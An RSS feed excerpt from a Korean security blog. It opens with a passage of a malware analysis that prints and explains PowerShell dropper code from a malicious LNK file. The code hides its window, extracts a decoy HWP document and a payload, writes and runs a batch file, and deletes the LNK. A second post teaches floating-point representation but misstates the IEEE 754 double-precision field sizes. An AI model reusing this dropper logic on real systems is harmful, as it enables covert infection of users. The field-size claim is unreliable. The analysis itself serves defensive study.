&lt;p data-ke-size=&quot;size16&quot;&gt;GetString(34) 는 쌍따옴표로 해당 문장을 다시 작성해보면 다음과 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1750148027988&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;[DllImport(&quot;user32.dll&quot;, SetLastError = true)]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 최종적으로 Add-Type -TypeDefinition $t 명령어를 이용하여 PowerShell 런타임에 컴파일하여 로드시킨다.&lt;/p&gt;
&lt;pre id=&quot;code_1750221365494&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$proName = 'powershell.exe'; 
$cmdMainWindowHandle = [User32]::FindWindow([NullString]::Value, $proName);
[User32]::ShowWindow($cmdMainWindowHandle, 0);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$proName 변수에 'powershell.exe' 문자열을 지정하고 $cmdMainWindowHandle 변수에는 위에서 불러온 FindWindow를 이용하여 powershell.exe 의 핸들값을 확보한 뒤 ShowWindow 함수를 이용하여 powershell.exe 창을 숨기게 된다. (매개변수 값 0은 SW_HIDE, 창을 숨기게된다)&lt;/p&gt;
&lt;pre id=&quot;code_1750221678925&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$dirPath = Get-Location; 
if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = '%temp%'}; 
$lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x0DD6DA21} | Select-Object -ExpandProperty FullName;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$dirPath 변수에는 현재 lnk 파일이 저장되어 있는 디렉토리의 경로를 반환한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 match 연산자(정규식)를 이용하여 만약 해당 디렉토리 경로에 System32나 Program Files 문자가 있다면 $dirPath 변수에는 %temp% 경로가 저장된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$lnkPath 변수에는 $dirPath 경로에 있는 lnk 파일 중 파일의 크기가 0x0DD6DA21인 파일을 찾아서 해당 파일의 전체 경로를 lnkPath에 저장하게 된다.&lt;/p&gt;
&lt;pre id=&quot;code_1750242254248&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);
$lnkFile.Seek(0x0000162E, [System.IO.SeekOrigin]::Begin);
$pdfFile=New-Object byte[] 0x00042C00;
$lnkFile.Read($pdfFile, 0, 0x00042C00);
$pdfPath = $lnkPath.replace('.lnk','.hwp');
sc $pdfPath $pdfFile -Encoding Byte;
&amp;amp; $pdfPath;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 실행중인 lnk 파일을 $lnkFile 변수를 이용하여 읽는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 $lnkFile.Seek 를 이용해 0x162E 주소로 이동한 후&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$pdfFile 을 바이트 배열로 선언해준 뒤 0x42C00 만큼 크기를 지정해주고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$pdfFile 변수에 0x42C00 크기만큼 읽어서&amp;nbsp;저장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 $pdfPath 변수에는 $lnkPath에 저장되어 있던 경로가 그대로 들어간 후 .lnk 라는 문자열만 .hwp로 바꿔준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 sc(Set-Content)를 사용해 $pdfFile 데이터를 바이너리 형식으로 저장해준다. 마지막으로 &amp;amp; $pdfPath를 이용해 해당 파일을 실행해주게 된다.&lt;/p&gt;
&lt;pre id=&quot;code_1750243455712&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$lnkFile.Seek(0x0004422E,[System.IO.SeekOrigin]::Begin);
$exeFile=New-Object byte[] 0x000D9402;
$lnkFile.Read($exeFile, 0, 0x000D9402);
$exePath=$env:public+'\'+'public.dat';
sc $exePath $exeFile -Encoding Byte;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동일하게 $lnkFile.Seek 를 이용하여 0x4422E 주소로 이동한 후&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;exeFile 변수를 바이트 배열로 선언해준 뒤 0xD9402 만큼 크기를 지정해주고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$exeFile 변수에 0xD9402 만큼 읽어서 저장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 $exePath 변수는 해당 파일이 저장될 경로로, 사용자 폴더의 public 폴더 하위에 public.dat 이란 파일으로 저장되게 된다. 마지막으로 sc(Set-Content)를 사용해 $exePath 경로에 $exeFile 데이터를 저장해주게 된다.&lt;/p&gt;
&lt;pre id=&quot;code_1750244004762&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$lnkFile.Seek(0x0011D630,[System.IO.SeekOrigin]::Begin);
$stringByte = New-Object byte[] 0x000005AA;
$lnkFile.Read($stringByte, 0, 0x000005AA);
$batStrPath = $env:temp+'\'+'temp.dat';
$string = [System.Text.Encoding]::UTF8.GetString($stringByte);
$string | Out-File -FilePath $batStrPath -Encoding ascii;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;동일하게&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;$lnkFile.Seek 를 이용하여 0x11D630 주소로 이동한 후&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;StringByte 변수를 바이트 배열로 선언해준 뒤 0x5AA 만큼 크기를 지정해주고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$stringByte 변수에 0x5AA 만큼 읽어서 저장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 $batStrPath 변수는 해당 파일이 저장될 경로로, 사용자 폴더의 temp 경로(C:\Users\[사용자명]\AppData\Local\Temp)에 temp.dat 이란 파일으로 저장되게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 $string 변수에는 $stringByte에 담겨있는 바이트 배열을 UTF-8 형식으로 디코딩한 문자열이 저장된다. 마지막으로 $string 변수에 있는 데이터가 Out-File을 통해 $batStrPath 경로에 저장된다.&lt;/p&gt;
&lt;pre id=&quot;code_1750244562317&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$lnkFile.Seek(0x0011DBDA,[System.IO.SeekOrigin]::Begin);
$batByte = New-Object byte[] 0x00000135;
$lnkFile.Read($batByte, 0, 0x00000135);
$executePath = $env:temp+'\'+'working.bat';
Write-Host $executePath;
Write-Host $batStrPath;
$bastString = [System.Text.Encoding]::UTF8.GetString($batByte);
$bastString | Out-File -FilePath $executePath -Encoding ascii;
&amp;amp; $executePath;
$lnkFile.Close();
remove-item -path $lnkPath -force;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동일하게&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;$lnkFile.Seek를 이용하여 0x11DBDA 주소로 이동한 후&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$batByte 변수를 바이트 배열로 선언해준 뒤 0x135 만큼 크기를 지정해주고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$batByte 변수에 0x135 만큼 읽어서 저장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 $executePath 변수는 해당 파일이 저장될 경로로, 사용자 폴더의 temp 경로(C:\Users\[사용자명]\AppData\Local\Temp)에 working.bat 이란 파일으로 저장되게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Write-Host는 변수의 값을 보여주는 명령으로 $executePath, $batStrPath의 경로를 출력해주게 된다. 아마 디버깅 용이었는데 안지웠을 가능성이 있을지도 모르겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 $bastString 변수에 $batByte에 담겨있는 바이트 배열을 UTF-8 형식으로 디코딩한 문자열이 저장된다. 마지막으로 $bastString 변수에 있는 데이터가 Out-File을 통해 $executePath 경로에 저장된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;amp; $executePath를 통해 해당 경로에 있는 파일 working.bat을 실행시키고 &amp;amp;lnkFile.close() 를 통해 현재 작동중이었던 lnk 파일의 실행을 종료시킨다. 이후 remove-item 을 통해 해당 lnk 파일을 삭제하게 된다. (은폐 과정이며 $lnkPath 변수에 있는 경로를 통해 삭제하게 된다.)&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;IV. 배치파일 (*.bat) 분석&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;배치파일 분석은 현재 단계에서 필요하지 않기 때문에 별도로 진행하지 않았다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;V. 바이너리 분석&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바이너리 분석은 현재 단계에서 필요하지 않기 때문에 별도로 진행하지 않았다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;VI. Reference&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://blog.plainbit.co.kr/lnk_rokrat/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://blog.plainbit.co.kr/lnk_rokrat/&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>분야/malware Analysis</category>
      <author>오리꽥이로</author>
      <guid isPermaLink="true">https://roklcw.tistory.com/135</guid>
      <comments>https://roklcw.tistory.com/135#entry135comment</comments>
      <pubDate>Wed, 18 Jun 2025 20:55:02 +0900</pubDate>
    </item>
    <item>
      <title>고정 소수점 &amp;amp; 부동 소수점</title>
      <link>https://roklcw.tistory.com/127</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;이진 기수법&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컴퓨터에서 10진수를 저장하는 방법은 2진수이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시) 10진수 108 &amp;rarr; 2진수 0110 1100&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;10진수가 1, 10, 100, 1000 이렇게 10^n에 해당하는 수가 될 때마다 자릿수가 올라갔다면, 2진수는 1(2) = 1(10), 10(2) = 2(10), 100(2) = 4(10), 1000(2) = 8(10) 이런식으로 2^n에 해당하는 수가 될 때마다 자릿수가 올라간다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;10진수를 2진수로 변환하는 방법은 다음과 같다. (2로 나눈 후 나머지 값들을 이어 2진수로 변환한다.)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;196&quot; data-origin-height=&quot;156&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhYAdx/btsLLPrTQOv/RUKur99kkg1vQGBKOMWRdK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhYAdx/btsLLPrTQOv/RUKur99kkg1vQGBKOMWRdK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhYAdx/btsLLPrTQOv/RUKur99kkg1vQGBKOMWRdK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbhYAdx%2FbtsLLPrTQOv%2FRUKur99kkg1vQGBKOMWRdK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;196&quot; height=&quot;156&quot; data-origin-width=&quot;196&quot; data-origin-height=&quot;156&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇다면 소수를 2진수로 변환하는 방법은 무엇일까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정수는 위 방식대로 진행하면 되지만, 소수점 아래 부분은 위 방식의 반대로 진행하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2로 나눴던걸 2로 곱해주면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시 1) 15.625&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정수: 위 계산법에 따라 1111(2)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소수:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0.625 * 2 = 1.25 &amp;rarr; 1을 빼내고 나머지 0.25&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0.25 * 2 = 0.5 &amp;rarr; 0을 빼내고 나머지 0.5&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0.5 * 2 = 1.0 &amp;rarr; 1을 빼내고 나머지 0 (0이 나오면 종료)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최종: 1111.101 (위에서부터 읽어준다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시 2) 15.238&lt;br /&gt;정수: 위 계산법에 따라 1111(2)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소수:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0.238 * 2 = 0.476 &amp;rarr; 0 을&amp;nbsp;빼내고&amp;nbsp;나머지&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0.476 * 2 = 0.952&amp;nbsp;&amp;rarr; 0 을&amp;nbsp;빼내고&amp;nbsp;나머지&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0.952 * 2 = 1.904 &amp;rarr; 1 을&amp;nbsp;빼내고&amp;nbsp;나머지&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0.904 * 2 = 1.808 &amp;rarr; 1 을&amp;nbsp;빼내고&amp;nbsp;나머지&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시 2의 경우 예시 1과는 달리 깔끔하지 못한 자릿수가 늘어날 수 밖에 없는 숫자다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 10진수 소수를 2진수로 완벽하게 나타낼 수는 없다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;580&quot; data-origin-height=&quot;156&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bWuqnb/btsLLDL3zhb/b71IQPqKZtKgJZGx211xa0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bWuqnb/btsLLDL3zhb/b71IQPqKZtKgJZGx211xa0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bWuqnb/btsLLDL3zhb/b71IQPqKZtKgJZGx211xa0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbWuqnb%2FbtsLLDL3zhb%2Fb71IQPqKZtKgJZGx211xa0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;580&quot; height=&quot;156&quot; data-origin-width=&quot;580&quot; data-origin-height=&quot;156&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;고정 소수점&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위에서 소수를 2진수로 변환한 후 나온 결과값을 그대로 저장하는 방식이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;475&quot; data-origin-height=&quot;168&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dgZQ1p/btsLM4IhyKz/8fMZ97Yq4SXI0VNStjdh3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dgZQ1p/btsLM4IhyKz/8fMZ97Yq4SXI0VNStjdh3K/img.png&quot; data-alt=&quot;bits 입니다! ㅎㅎ&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dgZQ1p/btsLM4IhyKz/8fMZ97Yq4SXI0VNStjdh3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdgZQ1p%2FbtsLM4IhyKz%2F8fMZ97Yq4SXI0VNStjdh3K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;475&quot; height=&quot;168&quot; data-origin-width=&quot;475&quot; data-origin-height=&quot;168&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;bits 입니다! ㅎㅎ&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;16비트, 32비트 등 저장 공간의 크기에 따라 정수부와 소수부의 크기는 달라질 수 있으며 현재는 16비트 공간인 상황이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;부호 비트: 0이면 양수, 1이면 음수.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정수는 뒤에서부터, 소수는 앞에서부터 값을 채우며 남는 자리는 0으로 채우게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구현은 편리하지만, 표현 가능한 범위가 적어지고 정밀도가 낮아지게 된다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 부동 소수점이라는 방식을 대부분 사용하고 있다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;부동 소수점&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;부동 소수점 방식으로 표현하기 위해서는 정규화라는 과정을 거쳐야 한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;정규화&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정수부에 1만 남을 때 까지 소수점을 왼쪽(정수부가 0일 경우에는 오른쪽으로)으로 이동시키고, 이동한 칸 수 만큼 2^n으로 표시하면 되는 방식이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소수점이 오른쪽으로 가면 곱하기 2, 왼쪽으로 가면 나누기 2.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시) 15.625(10) &amp;rarr; 1111.101(2)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;15.625 / 2&amp;nbsp; &amp;rarr; 111.1101 (2)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;31.25 / 2 &amp;rarr; 11.11101 (2)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;62.5&amp;nbsp; / 2 &amp;rarr; 1.111101 (2)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최종: 1.111101(2) * 2^3&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 1.111101(2) * 2^3이 된다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;IEEE 754 부동소수점 표현&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IEEE&amp;nbsp;754는&amp;nbsp;전기전자공학자협회(IEEE)에서&amp;nbsp;개발한&amp;nbsp;컴퓨터에서&amp;nbsp;부동소수점을&amp;nbsp;표현하는&amp;nbsp;가장&amp;nbsp;널리&amp;nbsp;쓰이는&amp;nbsp;표준이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;부동소수점 방식으로 실수를 저장할때 32비트 또는 64비트가 사용된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;32비트인 경우 지수부는 8bits, 가수부는 23bits이며 64비트인 경우 지수부는 10 bits, 가수부는 53 bits가 할당된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;32비트인 경우는 단정도(Single-Precision), 64비트인 경우는 배정도(Double-Precision) 이라고 부른다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;500&quot; data-origin-height=&quot;95&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bud628/btsLMVLzk5C/sHklWTKmfsJkIE87eDFay0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bud628/btsLMVLzk5C/sHklWTKmfsJkIE87eDFay0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bud628/btsLMVLzk5C/sHklWTKmfsJkIE87eDFay0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbud628%2FbtsLMVLzk5C%2FsHklWTKmfsJkIE87eDFay0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;95&quot; data-origin-width=&quot;500&quot; data-origin-height=&quot;95&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;부호 비트: 0이면 양수, 1이면 음수.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지수부: 정규화 후 나온 2^n에서 n에 해당하는 수를 2진수로 변환한 후 채워준다. (bias라고 하는 지정된 숫자를 더해준 값이며 IEEE 754 표준에서 32비트 bias값은 127이다. bias 값은 바뀔 수 있으므로 환경을 확인한다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가수부: 소수점 오른쪽에 있는 숫자들을 왼쪽부터 넣은 후 남은 자리는 0으로 채워준다. (정규화 후 소수점 왼쪽 숫자는 무조건 1이기 때문에 따로 표현하지 않는데, 이 1을 hidden bit라고 부르기도 한다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시) 32 bits 부동소수점 방식일 경우 : 15.625(10) &amp;rarr; (정규화 후) 1.111101(2) * 2^3&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지수부: 3 + 127 = 130(10) &amp;rarr; 10000010(2)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가수부: 1.111101(2) &amp;rarr; 111101&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최종 결과는 다음과 같다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;905&quot; data-origin-height=&quot;184&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kxdMo/btsLM6syzlJ/RfPxYwO3gmgR4dh5bHLrqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kxdMo/btsLM6syzlJ/RfPxYwO3gmgR4dh5bHLrqk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kxdMo/btsLM6syzlJ/RfPxYwO3gmgR4dh5bHLrqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkxdMo%2FbtsLM6syzlJ%2FRfPxYwO3gmgR4dh5bHLrqk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;905&quot; height=&quot;184&quot; data-origin-width=&quot;905&quot; data-origin-height=&quot;184&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;bias 값이 사용되는 이유&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지수가 음수가 될 수도 있기 때문에 bias 값이 사용된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;32비트의 bias는 127, 64비트의 bias는 1023dlek.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시 1) 0.000101 (2)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정규화 진행. 정수부가 0이기 때문에 오른쪽으로 소수점을 밀어야 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0.000101 * 2 = 0.00101&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0.00101 * 2 = 0.0101&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0.0101 * 2 = 0.101&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0.101 * 2 = 1.01&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최종: 1.01 * 2 ^ -4&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시 2) 0.101 (2)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0.101 *2 = 1.01&lt;/p&gt;
